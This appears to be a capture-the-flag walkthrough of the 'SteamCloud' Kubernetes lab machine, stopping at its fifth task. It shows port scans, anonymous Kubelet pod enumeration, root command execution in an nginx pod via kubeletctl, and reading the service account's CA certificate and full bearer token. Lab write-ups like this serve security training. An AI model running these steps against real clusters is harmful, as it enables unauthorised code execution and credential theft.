SteamCloud is an easy difficulty machine. The port scan reveals that it has a bunch of Kubernetes specific ports open. We cannot not enumerate the Kubernetes API because it requires authentication. Now, as Kubelet allows anonymous access, we can extract a list of all the pods from the K8s cluster by enumerating the Kubelet service. Furthermore, we can get into one of the pods and obtain the keys necessary to authenticate into the Kubernetes API. We can now create and spawn a malicious pod and then use Kubectl to run commands within the pod to read the root flag.
Since I am not very familiar with Kubernetes I will do this in questionnaire style basically guided mode.
Task 1
Which containerization framework are the services on TCP ports 2379 and 2380 components of?
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 fc:fb:90:ee:7c:73:a1:d4:bf:87:f8:71:e8:44:c6:3c (RSA)
| 256 46:83:2b:1b:01:db:71:64:6a:3e:27:cb:53:6f:81:a1 (ECDSA)
|_ 256 1d:8d:d3:41:f3:ff:a4:37:e8:ac:78:08:89:c2:e3:c5 (ED25519)
2379/tcp open ssl/etcd-client?
| ssl-cert: Subject: commonName=steamcloud
| Subject Alternative Name: DNS:localhost, DNS:steamcloud, IP Address:10.129.253.123, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1
| Not valid before: 2025-11-10T16:57:25
|_Not valid after: 2026-11-10T16:57:25
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ h2
2380/tcp open ssl/etcd-server?
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ h2
| ssl-cert: Subject: commonName=steamcloud
| Subject Alternative Name: DNS:localhost, DNS:steamcloud, IP Address:10.129.253.123, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1
| Not valid before: 2025-11-10T16:57:25
|_Not valid after: 2026-11-10T16:57:25
8443/tcp open ssl/https-alt
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=minikube/organizationName=system:masters
| Subject Alternative Name: DNS:minikubeCA, DNS:control-plane.minikube.internal, DNS:kubernetes.default.svc.cluster.local, DNS:kubernetes.default.svc, DNS:kubernetes.default, DNS:kubernetes, DNS:localhost, IP Address:10.129.253.123, IP Address:10.96.0.1, IP Address:127.0.0.1, IP Address:10.0.0.1
| Not valid before: 2025-11-09T16:57:23
|_Not valid after: 2028-11-09T16:57:23
| tls-alpn:
| h2
|_ http/1.1
|_http-title: Site doesn't have a title (application/json).
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 403 Forbidden
| Audit-Id: 259c9f1f-8249-4d6b-b492-c544e3e840ed
| Cache-Control: no-cache, private
| Content-Type: application/json
| X-Content-Type-Options: nosniff
| X-Kubernetes-Pf-Flowschema-Uid: a887d8c1-5328-47e0-8a1d-bb77d18a1ca3
| X-Kubernetes-Pf-Prioritylevel-Uid: 7bfde571-fd67-4d0a-b00d-acac760fcbe4
| Date: Mon, 10 Nov 2025 17:30:21 GMT
| Content-Length: 212
| {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/nice ports,/Trinity.txt.bak"","reason":"Forbidden","details":{},"code":403}
| GetRequest:
| HTTP/1.0 403 Forbidden
| Audit-Id: 579bdf9e-15f5-477a-92ce-d937f93239da
| Cache-Control: no-cache, private
| Content-Type: application/json
| X-Content-Type-Options: nosniff
| X-Kubernetes-Pf-Flowschema-Uid: a887d8c1-5328-47e0-8a1d-bb77d18a1ca3
| X-Kubernetes-Pf-Prioritylevel-Uid: 7bfde571-fd67-4d0a-b00d-acac760fcbe4
| Date: Mon, 10 Nov 2025 17:30:16 GMT
| Content-Length: 185
| {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/"","reason":"Forbidden","details":{},"code":403}
| HTTPOptions:
| HTTP/1.0 403 Forbidden
| Audit-Id: e34cd34b-774e-409d-82db-8305883ecd14
| Cache-Control: no-cache, private
| Content-Type: application/json
| X-Content-Type-Options: nosniff
| X-Kubernetes-Pf-Flowschema-Uid: a887d8c1-5328-47e0-8a1d-bb77d18a1ca3
| X-Kubernetes-Pf-Prioritylevel-Uid: 7bfde571-fd67-4d0a-b00d-acac760fcbe4
| Date: Mon, 10 Nov 2025 17:30:18 GMT
| Content-Length: 189
|_ {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot options path "/"","reason":"Forbidden","details":{},"code":403}
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8443-TCP:V=7.94SVN%T=SSL%I=7%D=11/10%Time=69122127%P=x86_64-pc-linu
SF:x-gnu%r(GetRequest,22F,"HTTP/1\.0\x20403\x20Forbidden\r\nAudit-Id:\x205
SF:79bdf9e-15f5-477a-92ce-d937f93239da\r\nCache-Control:\x20no-cache,\x20p
SF:rivate\r\nContent-Type:\x20application/json\r\nX-Content-Type-Options:\
SF:x20nosniff\r\nX-Kubernetes-Pf-Flowschema-Uid:\x20a887d8c1-5328-47e0-8a1
SF:d-bb77d18a1ca3\r\nX-Kubernetes-Pf-Prioritylevel-Uid:\x207bfde571-fd67-4
SF:d0a-b00d-acac760fcbe4\r\nDate:\x20Mon,\x2010\x20Nov\x202025\x2017:30:16
SF:\x20GMT\r\nContent-Length:\x20185\r\n\r\n{\"kind\":\"Status\",\"apiVers
SF:ion\":\"v1\",\"metadata\":{},\"status\":\"Failure\",\"message\":\"forbi
SF:dden:\x20User\x20\\\"system:anonymous\\\"\x20cannot\x20get\x20path\x20\
SF:\\"/\\\"\",\"reason\":\"Forbidden\",\"details\":{},\"code\":403}\n")%r(
SF:HTTPOptions,233,"HTTP/1\.0\x20403\x20Forbidden\r\nAudit-Id:\x20e34cd34b
SF:-774e-409d-82db-8305883ecd14\r\nCache-Control:\x20no-cache,\x20private\
SF:r\nContent-Type:\x20application/json\r\nX-Content-Type-Options:\x20nosn
SF:iff\r\nX-Kubernetes-Pf-Flowschema-Uid:\x20a887d8c1-5328-47e0-8a1d-bb77d
SF:18a1ca3\r\nX-Kubernetes-Pf-Prioritylevel-Uid:\x207bfde571-fd67-4d0a-b00
SF:d-acac760fcbe4\r\nDate:\x20Mon,\x2010\x20Nov\x202025\x2017:30:18\x20GMT
SF:\r\nContent-Length:\x20189\r\n\r\n{\"kind\":\"Status\",\"apiVersion\":\
SF:"v1\",\"metadata\":{},\"status\":\"Failure\",\"message\":\"forbidden:\x
SF:20User\x20\\\"system:anonymous\\\"\x20cannot\x20options\x20path\x20\\\"
SF:/\\\"\",\"reason\":\"Forbidden\",\"details\":{},\"code\":403}\n")%r(Fou
SF:rOhFourRequest,24A,"HTTP/1\.0\x20403\x20Forbidden\r\nAudit-Id:\x20259c9
SF:f1f-8249-4d6b-b492-c544e3e840ed\r\nCache-Control:\x20no-cache,\x20priva
SF:te\r\nContent-Type:\x20application/json\r\nX-Content-Type-Options:\x20n
SF:osniff\r\nX-Kubernetes-Pf-Flowschema-Uid:\x20a887d8c1-5328-47e0-8a1d-bb
SF:77d18a1ca3\r\nX-Kubernetes-Pf-Prioritylevel-Uid:\x207bfde571-fd67-4d0a-
SF:b00d-acac760fcbe4\r\nDate:\x20Mon,\x2010\x20Nov\x202025\x2017:30:21\x20
SF:GMT\r\nContent-Length:\x20212\r\n\r\n{\"kind\":\"Status\",\"apiVersion\
SF:":\"v1\",\"metadata\":{},\"status\":\"Failure\",\"message\":\"forbidden
SF::\x20User\x20\\\"system:anonymous\\\"\x20cannot\x20get\x20path\x20\\\"/
SF:nice\x20ports,/Trinity\.txt\.bak\\\"\",\"reason\":\"Forbidden\",\"detai
SF:ls\":{},\"code\":403}\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Task 2
How many pods are running on the target system?
Kubelet is listening on TCP port 10250. Enumerate using a utility such as kubeletctl (or cURL-ing the /pods endpoint).
parrot➜ steamcloud ᐅ nmap -p 10250 -sCV 10.129.253.123 -Pn
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-11-10 21:37 EAT
Nmap scan report for 10.129.253.123
Host is up (0.34s latency).
PORT STATE SERVICE VERSION
10250/tcp open ssl/http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
| ssl-cert: Subject: commonName=steamcloud@1762793847
| Subject Alternative Name: DNS:steamcloud
| Not valid before: 2025-11-10T15:57:26
|_Not valid after: 2026-11-10T15:57:26
|_ssl-date: TLS randomness does not represent time
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
| tls-alpn:
| h2
|_ http/1.1
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 63.59 seconds
parrot➜ steamcloud ᐅ curl -k -s "https://10.129.253.123:10250/pods" | jq .
{
"kind": "PodList",
"apiVersion": "v1",
"metadata": {},
"items": [
{
"metadata": {
"name": "etcd-steamcloud",
"namespace": "kube-system",
"selfLink": "/api/v1/namespaces/kube-system/pods/etcd-steamcloud",
"uid": "39ed848b320bb22d64f67fec961e6fd2",
"creationTimestamp": null,
"labels": {
"component": "etcd",
"tier": "control-plane"
},
"annotations": {
"kubeadm.kubernetes.io/etcd.advertise-client-urls": "https://10.129.253.123:2379",
"kubernetes.io/config.hash": "39ed848b320bb22d64f67fec961e6fd2",
"kubernetes.io/config.seen": "2025-11-10T11:57:41.336872652-05:00",
"kubernetes.io/config.source": "file"
}
},
"spec": {
"volumes": [
{
"name": "etcd-certs",
"hostPath": {
"path": "/var/lib/minikube/certs/etcd",
"type": "DirectoryOrCreate"
}
},
{
"name": "etcd-data",
"hostPath": {
"path": "/var/lib/minikube/etcd",
"type": "DirectoryOrCreate"
}
}
],
[--snip--]
parrot➜ steamcloud ᐅ kubeletctl pods -s 10.129.253.123
┌────────────────────────────────────────────────────────────────────────────────┐
│ Pods from Kubelet │
├───┬────────────────────────────────────┬─────────────┬─────────────────────────┤
│ │ POD │ NAMESPACE │ CONTAINERS │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 1 │ kube-controller-manager-steamcloud │ kube-system │ kube-controller-manager │
│ │ │ │ │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 2 │ kube-scheduler-steamcloud │ kube-system │ kube-scheduler │
│ │ │ │ │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 3 │ storage-provisioner │ kube-system │ storage-provisioner │
│ │ │ │ │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 4 │ kube-proxy-lqnsv │ kube-system │ kube-proxy │
│ │ │ │ │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 5 │ coredns-78fcd69978-xgvhr │ kube-system │ coredns │
│ │ │ │ │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 6 │ nginx │ default │ nginx │
│ │ │ │ │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 7 │ etcd-steamcloud │ kube-system │ etcd │
│ │ │ │ │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 8 │ kube-apiserver-steamcloud │ kube-system │ kube-apiserver │
│ │ │ │ │
└───┴────────────────────────────────────┴─────────────┴─────────────────────────┘
parrot➜ steamcloud ᐅ
Task 3
Which pod in the default namespace allows code execution? Choose from "etcd-steamcloud",
"nginx", "kube-controller-manager-steamcloud", and
"storage-provisioner".
Kubelet can allow anonymous access, where one may use the commands such as /run and /exec. You can use the aforementioned utility to scan for rce.
parrot➜ steamcloud ᐅ kubeletctl -s 10.129.253.123 exec "id" -p nginx -c nginx
uid=0(root) gid=0(root) groups=0(root)
Task 4
In which directory is the service account access token and certificate stored inside a Kubernetes pod?
When a pod is created, Kubernetes automatically creates a service account for the pod, and assigns it to the pod by default. The files in the directory you are looking for are used to authenticate and interact with the Kubernetes API server.
parrot➜ steamcloud ᐅ kubeletctl -s 10.129.253.123 exec "ls /var/run/secrets/kubernetes.io/serviceaccount" -p nginx -c nginx
ca.crt namespace token
Task 5
When creating a Kubernetes Pod, which Volume type can be used to mount a file or directory from the host's filesystem onto the Pod? Choose from "gcePersistentDisk", "hostPath", "secret", or "emptyDir"
If you had access to create a Pod on a target system, you could use this volume type to gain full root access to the underlying filesystem. Browse through the Kubernetes documentation, under /concepts/storage/volumes/.
root@nginx:/# cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
-----BEGIN CERTIFICATE-----
MIIDBjCCAe6gAwIBAgIBATANBgkqhkiG9w0BAQsFADAVMRMwEQYDVQQDEwptaW5p
a3ViZUNBMB4XDTIxMTEyOTEyMTY1NVoXDTMxMTEyODEyMTY1NVowFTETMBEGA1UE
AxMKbWluaWt1YmVDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAOoa
YRSqoSUfHaMBK44xXLLuFXNELhJrC/9O0R2Gpt8DuBNIW5ve+mgNxbOLTofhgQ0M
HLPTTxnfZ5VaavDH2GHiFrtfUWD/g7HA8aXn7cOCNxdf1k7M0X0QjPRB3Ug2cID7
deqATtnjZaXTk0VUyUp5Tq3vmwhVkPXDtROc7QaTR/AUeR1oxO9+mPo3ry6S2xqG
VeeRhpK6Ma3FpJB3oN0Kz5e6areAOpBP5cVFd68/Np3aecCLrxf2Qdz/d9Bpisll
hnRBjBwFDdzQVeIJRKhSAhczDbKP64bNi2K1ZU95k5YkodSgXyZmmkfgYORyg99o
1pRrbLrfNk6DE5S9VSUCAwEAAaNhMF8wDgYDVR0PAQH/BAQDAgKkMB0GA1UdJQQW
MBQGCCsGAQUFBwMCBggrBgEFBQcDATAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQW
BBSpRKCEKbVtRsYEGRwyaVeonBdMCjANBgkqhkiG9w0BAQsFAAOCAQEA0jqg5pUm
lt1jIeLkYT1E6C5xykW0X8mOWzmok17rSMA2GYISqdbRcw72aocvdGJ2Z78X/HyO
DGSCkKaFqJ9+tvt1tRCZZS3hiI+sp4Tru5FttsGy1bV5sa+w/+2mJJzTjBElMJ/+
9mGEdIpuHqZ15HHYeZ83SQWcj0H0lZGpSriHbfxAIlgRvtYBfnciP6Wgcy+YuU/D
xpCJgRAw0IUgK74EdYNZAkrWuSOA0Ua8KiKuhklyZv38Jib3FvAo4JrBXlSjW/R0
JWSyodQkEF60Xh7yd2lRFhtyE8J+h1HeTz4FpDJ7MuvfXfoXxSDQOYNQu09iFiMz
kf2eZIBNMp0TFg==
-----END CERTIFICATE-----
root@nginx:/# cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/token
eyJhbGciOiJSUzI1NiIsImtpZCI6IlFaWDFMY1lPRWhiVzFRekhKODVtSnpGTXhvTzZGTHo0Nl9xT2VGQ0xlUWMifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNzk0MzM4NjExLCJpYXQiOjE3NjI4MDI2MTEsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJuZ2lueCIsInVpZCI6IjIwM2VmZGMxLTc2MDMtNGUxYy1iOTEzLWQ2ZjQ2YmViMTVkOSJ9LCJzZXJ2aWNlYWNjb3VudCI6eyJuYW1lIjoiZGVmYXVsdCIsInVpZCI6IjFkYzdmMjJlLTUzY2ItNDFhNy04YjQyLWEzZGExMGUwNGMwNSJ9LCJ3YXJuYWZ0ZXIiOjE3NjI4MDYyMTh9LCJuYmYiOjE3NjI4MDI2MTEsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0OmRlZmF1bHQifQ.PlQd6GHjbgjOSwHCjvVgCzKWGD4_fn2n_0Z8sBHWod3ifHXlNbJMDkFTLO9GpeuX8Q6mGjblVIXzG05lbd2lbCE5z36yqcsyfDkyjxL2xIA1tbNCvmKETWy7qDZuLdhauWbMnnkKGUPA6QPf0v-Bv8y7CcJYa_SIE1CHhIndccSP76BsKXq7_3uWwqcYU3jM_ueahr9ldr5Xe48Zgw-T7J8ZLtEC6TU6FzCiqvxAPrdpwQXh_8Nh5Q93CL2e6HvPUUJX-8PmeAumfIOEcI7NshWGb0ib43mKKG37XuvH-uIRKHFARwyu15yP_XVkRtO1zZMm0rSf1DqMfslcwiPBlw